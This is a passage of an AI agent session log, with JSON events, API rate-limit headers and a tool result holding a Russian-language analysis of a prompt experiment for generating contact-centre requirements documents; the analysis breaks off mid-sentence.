\"system\",\n[2026-09-29T07:46:23.940Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:46:23.940Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:46:23.940Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:46:23.940Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:23.940Z] [INFO]   \"uuid\": \"e2390c12-9ed6-40d1-a73a-8d70ff409f46\"\n[2026-09-29T07:46:23.940Z] [INFO] }\n[2026-09-29T07:46:24.166Z] [INFO] {\n[2026-09-29T07:46:24.166Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"message\": {\n[2026-09-29T07:46:24.166Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:24.166Z] [INFO]     \"id\": \"msg_011CfXMpyDzRk4dHp9Veunt4\",\n[2026-09-29T07:46:24.166Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:24.166Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:24.166Z] [INFO]     \"content\": [\n[2026-09-29T07:46:24.166Z] [INFO]       {\n[2026-09-29T07:46:24.166Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:46:24.166Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:46:24.166Z] [INFO]         \"signature\": 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\"standard\",\n[2026-09-29T07:46:24.166Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:46:24.166Z] [INFO]     },\n[2026-09-29T07:46:24.166Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:46:24.166Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:46:24.166Z] [INFO]     \"context_management\": null\n[2026-09-29T07:46:24.166Z] [INFO]   },\n[2026-09-29T07:46:24.166Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"uuid\": \"18c2212d-a0da-4954-ac73-3b3a764a3184\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"timestamp\": \"2026-09-29T07:46:24.162Z\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"request_id\": \"req_011CfXMpxgzuQB9F3ayaQXJD\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:46:24.166Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts 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[INFO]       }\n[2026-09-29T07:46:24.275Z] [INFO]     ],\n[2026-09-29T07:46:24.275Z] [INFO]     \"container\": null,\n[2026-09-29T07:46:24.275Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:46:24.275Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:46:24.275Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:46:24.275Z] [INFO]     \"usage\": {\n[2026-09-29T07:46:24.275Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:46:24.275Z] [INFO]       \"cache_creation_input_tokens\": 2737,\n[2026-09-29T07:46:24.275Z] [INFO]       \"cache_read_input_tokens\": 28832,\n[2026-09-29T07:46:24.275Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:46:24.275Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:46:24.275Z] [INFO]         \"ephemeral_1h_input_tokens\": 2737\n[2026-09-29T07:46:24.275Z] [INFO]       },\n[2026-09-29T07:46:24.275Z] [INFO]       \"output_tokens\": 6,\n[2026-09-29T07:46:24.275Z] [INFO]       \"service_tier\": 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200 in 842ms\n[2026-09-29T07:46:24.291Z] [STDOUT] [log_c2121d] response start {\n[2026-09-29T07:46:24.295Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:24.300Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:24.304Z] [STDOUT]   headers: {\n[2026-09-29T07:46:24.310Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:24.313Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:24.331Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:24.334Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:24.336Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:24.352Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:24.355Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": 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\"DYNAMIC\",\n[2026-09-29T07:46:24.393Z] [STDOUT]     \"cf-ray\": \"a4295fb07ad44d8b-FRA\",\n[2026-09-29T07:46:24.396Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:46:24.399Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:24.404Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:24.408Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:24.410Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:46:24 GMT\",\n[2026-09-29T07:46:24.414Z] [STDOUT]     \"request-id\": \"req_011CfXMq5fwHeh7PwErryPp9\",\n[2026-09-29T07:46:24.419Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:46:24.422Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:24.427Z] [STDOUT]     traceresponse: \"00-cee1394813fbe1f803a3d22a2a699bfb-077e437cfd6538b4-01\",\n[2026-09-29T07:46:24.429Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:24.433Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:46:24.436Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:24.439Z] [STDOUT]   },\n[2026-09-29T07:46:24.442Z] [STDOUT]   durationMs: 842,\n[2026-09-29T07:46:24.445Z] [STDOUT] }\n[2026-09-29T07:46:24.449Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:46:24.451Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:46:24 GMT\",\n[2026-09-29T07:46:24.454Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:46:24.456Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:46:24.459Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:46:24.460Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:46:24.462Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:46:24.464Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:46:24.468Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:46:24.471Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:46:24.473Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:46:24.476Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:46:24.480Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:46:24.482Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:46:24.487Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:46:24.493Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:46:24.495Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:46:24.498Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:46:24.502Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:46:24.505Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:46:24.512Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:46:24.524Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:46:24.532Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:46:24.534Z] [STDOUT]   \"request-id\": \"req_011CfXMq5fwHeh7PwErryPp9\",\n[2026-09-29T07:46:24.538Z] [STDOUT]   \"traceresponse\": \"00-cee1394813fbe1f803a3d22a2a699bfb-077e437cfd6538b4-01\",\n[2026-09-29T07:46:24.544Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:46:24.553Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:46:24.555Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:46:24.560Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:46:24.565Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:46:24.569Z] [STDOUT]   \"cf-ray\": \"a4295fb07ad44d8b-FRA\",\n[2026-09-29T07:46:24.572Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:46:24.576Z] [STDOUT] [log_c2121d] response parsed {\n[2026-09-29T07:46:24.580Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:46:24.584Z] [STDOUT]   status: 200,\n[2026-09-29T07:46:24.589Z] [STDOUT]   body: X {\n[2026-09-29T07:46:24.593Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:46:24.601Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:46:24.607Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:46:24.616Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:46:24.620Z] [STDOUT]     },\n[2026-09-29T07:46:24.624Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:46:24.628Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:46:24.632Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:46:24.641Z] [STDOUT]   },\n[2026-09-29T07:46:24.643Z] [STDOUT]   durationMs: 843,\n[2026-09-29T07:46:24.645Z] [STDOUT] }\n[2026-09-29T07:46:24.654Z] [INFO] {\n[2026-09-29T07:46:24.654Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:46:24.654Z] [INFO]   \"message\": {\n[2026-09-29T07:46:24.654Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:46:24.654Z] [INFO]     \"id\": \"msg_011CfXMpyDzRk4dHp9Veunt4\",\n[2026-09-29T07:46:24.654Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:46:24.654Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:46:24.654Z] [INFO]     \"content\": [\n[2026-09-29T07:46:24.654Z] [INFO]       {\n[2026-09-29T07:46:24.654Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:46:24.654Z] [INFO]         \"id\": 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research\"\n[2026-09-29T07:46:25.550Z] [INFO] }\n[2026-09-29T07:46:25.912Z] [INFO] {\n[2026-09-29T07:46:25.912Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:46:25.912Z] [INFO]   \"message\": {\n[2026-09-29T07:46:25.912Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:46:25.912Z] [INFO]     \"content\": [\n[2026-09-29T07:46:25.912Z] [INFO]       {\n[2026-09-29T07:46:25.912Z] [INFO]         \"tool_use_id\": \"toolu_018N9qBARTTJ9JJqvVj8GhU7\",\n[2026-09-29T07:46:25.912Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:46:25.912Z] [INFO]         \"content\": \"---\\nstatus: draft\\nversion: 0.1\\nupdated: 2026-06-16\\nai-generated: true\\ntype: analysis\\nscope: prompts\\nrelated_issues:\\n  - \\\"https://github.com/G-Ivan-A/mango_ba_prompts/issues/101\\\"\\nrelated_artifacts:\\n  - \\\"prompts/glossary-context-understanding-stepwise.md\\\"\\n  - \\\"prompts/glossary-context-understanding-oneshot.md\\\"\\n  - \\\"prompts/fr-documentation-stepwise.md\\\"\\n  - \\\"prompts/fr-documentation-oneshot.md\\\"\\n  - \\\"prompts/constraints-documentation-stepwise.md\\\"\\n  - \\\"prompts/constraints-documentation-oneshot.md\\\"\\n  - \\\"runs/2026/RUN-0007/outputs/fr-generation-1027-live_2026-06-16.md\\\"\\n  - \\\"standards/experiment-log-standard.md\\\"\\n---\\n\\n# \u0410\u043d\u0430\u043b\u0438\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\u00bb\\n\\n\u0412\u0435\u0440\u0441\u0438\u044f: 0.1\\n\\n\u0414\u0430\u0442\u0430: 2026-06-16\\n\\n## \u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\\n\\n\u042d\u0442\u043e \u0440\u0430\u0437\u0431\u043e\u0440 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0440\u0430\u0431\u043e\u0442\u044b \u0411\u0410 (\u0411\u0410-\u0418\u0413) \u0441 \u043f\u0440\u043e\u043c\u043f\u0442\u0430\u043c\u0438\\n`mango_ba_prompts`: \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 1, 2, 4 \u0438 6 \u0422\u0417 \u0434\u043b\u044f \u043e\u043c\u043d\u0438\u043a\u0430\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e\\n\u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 (\u041a\u0426) MANGO OFFICE. \u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u2014 \u043f\u043e\u043b\u043d\u0430\u044f \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u00ab\u0417\u0430\u0434\u0430\u0447\u0430 1027\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u0441 0\u00bb, \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u043a\\n[issue #101](https://github.com/G-Ivan-A/mango_ba_prompts/issues/101) (\u0434\u0430\u043b\u0435\u0435\\n\u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u044b \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b: **1.1** \u2014 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442/\u0433\u043b\u043e\u0441\u0441\u0430\u0440\u0438\u0439, **1.2** \u2014 \u0424\u0422\\n(\u0440\u0430\u0437\u0434\u0435\u043b 4), **1.3** \u2014 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f (\u0440\u0430\u0437\u0434\u0435\u043b 6), **1.4** \u2014 \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u0411\u0410).\\n\\n\u0426\u0435\u043b\u044c \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u2014 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0424\u0422-1\u2026\u0424\u0422-3 issue #101:\\n\\n1. \u0434\u0430\u0442\u044c \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043f\u043e \u043a\u0430\u0436\u0434\u043e\u0439 \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0435 \u0411\u0410 \u0438\u0437 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 1.4 (\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c / \u043e\u0441\u043f\u043e\u0440\u0438\u0442\u044c /\\n   \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0443) **\u0441 \u0446\u0438\u0442\u0430\u0442\u0430\u043c\u0438 \u0438\u0437 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b**;\\n2. \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u0435 \u043f\u0440\u0430\u0432\u043a\u0438 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 (\u0441 \u0434\u0438\u0444\u0444\u0430\u043c\u0438) \u0438\u043b\u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c, \u043f\u043e\u0447\u0435\u043c\u0443\\n   \u043f\u0440\u0430\u0432\u0438\u0442\u044c \u043d\u0435 \u043d\u0430\u0434\u043e;\\n3. \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u0442\u044c \u043b\u0435\u0433\u043a\u043e\u0432\u0435\u0441\u043d\u044b\u0439 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u0438 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u043e\u0432 (Draft v0.1 \u2014\\n   \u0432\u044b\u043d\u0435\u0441\u0435\u043d \u0432 [`standards/experiment-log-standard.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/standards/experiment-log-standard.md));\\n4. \u043e\u0446\u0435\u043d\u0438\u0442\u044c \u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 \u043d\u0430 \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u044e (13 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 / \u0442\u0438\u043f\u044b \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u043e\u0432),\\n   **\u0442\u043e\u043b\u044c\u043a\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438**, \u0431\u0435\u0437 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044f \u043e\u043d\u0442\u043e\u043b\u043e\u0433\u0438\u0438 (\u044d\u0442\u043e \u043f\u0430\u0440\u0430\u043b\u043b\u0435\u043b\u044c\u043d\u044b\u0439 \u0442\u0440\u0435\u043a\\n   ADR #003\u2013#008).\\n\\n## \u041c\u0435\u0442\u043e\u0434\\n\\n\u0410\u043d\u0430\u043b\u0438\u0437 \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d \u043d\u0430 \u0441\u0432\u0435\u0440\u043a\u0435 \u0442\u0440\u0451\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432:\\n\\n1. \u0442\u0435\u043a\u0441\u0442\u0430 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b 1027 (\u0447\u0442\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u043b\u043e \u0432 \u0441\u0435\u0441\u0441\u0438\u0438);\\n2. \u0444\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0411\u0410 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b \u0432 \u0441\u0435\u0441\u0441\u0438\u0438 (\u0432\u0441\u0435 \u0448\u0435\u0441\u0442\u044c\\n   \u0444\u0430\u0439\u043b\u043e\u0432 \u0441\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u2014 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438 \u0432 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u0441 \u0442\u0435\u043a\u0443\u0449\u0438\u043c\u0438\\n   `prompts/*.md`);\\n3. \u043f\u0440\u0430\u0432\u0438\u043b governance (Creative-mode: \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043e\u0431\u0445\u043e\u0434 scope \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c, \u0435\u0441\u043b\u0438\\n   \u043e\u043f\u0438\u0441\u0430\u043d \u0432 PR; \u043f\u0440\u0430\u0432\u043e \u043e\u0441\u043f\u0430\u0440\u0438\u0432\u0430\u0442\u044c \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u044b \u0411\u0410, \u0435\u0441\u043b\u0438 \u043a\u043e\u0440\u0435\u043d\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u2014 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u043b\u0438\\n   \u043f\u0440\u043e\u0446\u0435\u0441\u0441, \u0430 \u043d\u0435 \u043f\u0440\u043e\u043c\u043f\u0442).\\n\\n\u041a\u0430\u043a\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u043b\u0438\u0441\u044c \u0432 \u0441\u0435\u0441\u0441\u0438\u0438:\\n\\n| \u0420\u0430\u0437\u0434\u0435\u043b \u0441\u0435\u0441\u0441\u0438\u0438 | \u0417\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 | \u0427\u0442\u043e \u0433\u0435\u043d\u0435\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u043e\u0441\u044c |\\n| --- | --- | --- |\\n| 1.1 | [`glossary-context-understanding-stepwise.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/glossary-context-understanding-stepwise.md) | \u0420\u0430\u0437\u0434\u0435\u043b\u044b 1 (\u0422\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u044f) \u0438 2 (\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u0446\u0435\u043b\u044c, \u0437\u0430\u0434\u0430\u0447\u0438) |\\n| 1.2 | [`fr-documentation-stepwise.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/fr-documentation-stepwise.md) | \u0420\u0430\u0437\u0434\u0435\u043b 4 (\u0424\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f) |\\n| 1.3 | [`constraints-documentation-oneshot.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/constraints-documentation-oneshot.md) | \u0420\u0430\u0437\u0434\u0435\u043b 6 (\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f) \u2014 \u00ab\u044d\u043a\u0441\u043f\u0440\u0435\u0441\u0441-\u0440\u0435\u0436\u0438\u043c\u00bb |\\n\\n> \u0412\u0430\u0436\u043d\u043e \u0434\u043b\u044f \u0442\u0440\u0430\u043a\u0442\u043e\u0432\u043a\u0438: \u0442\u0435\u043a\u0441\u0442 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0430 6 \u0432 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0435 (\u0440\u0430\u0437\u0434\u0435\u043b 1.3)\\n> \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 `constraints-documentation-oneshot.md` (oneshot \u2014\\n> \u00ab\u0437\u0430 \u043e\u0434\u0438\u043d \u043e\u0442\u0432\u0435\u0442\u00bb). \u0411\u0410 \u0432 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u043d\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0435\u0433\u043e \u00ab\u044d\u043a\u0441\u043f\u0440\u0435\u0441\u0441-\u0440\u0435\u0436\u0438\u043c\u00bb; \u0432\\n> \u0442\u0435\u0440\u043c\u0438\u043d\u043e\u043b\u043e\u0433\u0438\u0438 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f `express` \u0437\u0430\u043c\u0435\u043d\u0451\u043d \u043d\u0430 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0442\u043e\u043a\u0435\u043d `oneshot`\\n> (\u0441\u043c. [`prompts/README.md`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/prompts/README.md#\u0440\u0435\u0436\u0438\u043c\u044b-stepwise-oneshot-legacy)).\\n> \u041f\u0440\u0430\u0432\u043a\u0438 \u043f\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0435 3 \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f \u0438\u043c\u0435\u043d\u043d\u043e \u043a `oneshot`-\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0443.\\n\\n\u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043c\u0435\u0442\u043e\u0434\u0430: \u0441\u0435\u0441\u0441\u0438\u044f 1027 **\u043d\u0435** \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0430 \u043d\u0435\u0441\u043e\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438\\n\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b `stepwise`/`oneshot`. \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u0432 \u0446\u0435\u043b\u043e\u043c \u043e\u0442\u0440\u0430\u0431\u043e\u0442\u0430\u043b\u0438 \u043f\u043e \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044e (\u0411\u0410\\n\u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u00ab\u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u00bb, \u00ab\u0432\u0435\u0440\u0441\u0438\u044f \u043f\u0440\u0438\u043d\u044f\u0442\u0430\u00bb, \u00ab\u043e\u0442\u043b\u0438\u0447\u043d\u043e\u00bb). \u041f\u0440\u0430\u0432\u043e\\n\u043d\u0430 \u0440\u0430\u0434\u0438\u043a\u0430\u043b\u044c\u043d\u0443\u044e \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0443 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441 \u043d\u0443\u043b\u044f (\u0437\u043e\u043d\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u044b \u21163 issue) \u043d\u0435\\n\u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u2014 \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u043d\u0435\u0442. \u0412\u0441\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043f\u0440\u0430\u0432\u043a\u0438 \u0442\u043e\u0447\u0435\u0447\u043d\u044b\u0435.\\n\\n---\\n\\n## \u0424\u0422-1. \u0412\u0435\u0440\u0434\u0438\u043a\u0442\u044b \u043f\u043e \u0433\u0438\u043f\u043e\u0442\u0435\u0437\u0430\u043c \u0411\u0410 (\u0441 \u0446\u0438\u0442\u0430\u0442\u0430\u043c\u0438)\\n\\n\u041a\u0430\u0436\u0434\u044b\u0439 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0441\u043e\u043f\u0440\u043e\u0432\u043e\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0434\u043e\u0441\u043b\u043e\u0432\u043d\u043e\u0439 \u0446\u0438\u0442\u0430\u0442\u043e\u0439 \u0438\u0437 \u0441\u0442\u0435\u043d\u043e\u0433\u0440\u0430\u043c\u043c\u044b 